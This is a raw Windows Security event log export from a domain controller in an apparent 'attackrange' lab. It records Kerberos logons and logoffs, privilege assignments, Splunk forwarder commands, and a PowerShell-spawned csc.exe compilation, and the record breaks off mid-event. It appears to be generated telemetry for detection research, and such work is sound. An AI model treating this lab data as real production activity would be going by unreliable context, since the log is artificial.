	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64572

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252007
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14CBCC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252006
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14CB68

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252005
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14CB68
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64571

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252004
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14CB68

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252003
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14CABA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252002
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14CABA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64570

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252001
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14CABA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252000
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14C9F5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251999
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14C9F5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64569

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251998
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14C9F5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251997
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1160
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251996
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1160
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10fc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251995
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10fc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251994
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa28
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251993
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa28
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12b0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251992
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251991
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x364
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x604
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	splunk.exe restart

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251990
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14BFA9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251989
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14BFA9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D4E01130-24CD-5D56-AA73-01CD0C115F92}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251988
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D4E01130-24CD-5D56-AA73-01CD0C115F92}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251987
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D4E01130-24CD-5D56-AA73-01CD0C115F92}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251986
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251985
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1188
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11ec
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES2513.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCBCA51FD747B14574978278D2E1298F64.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251984
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x604
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
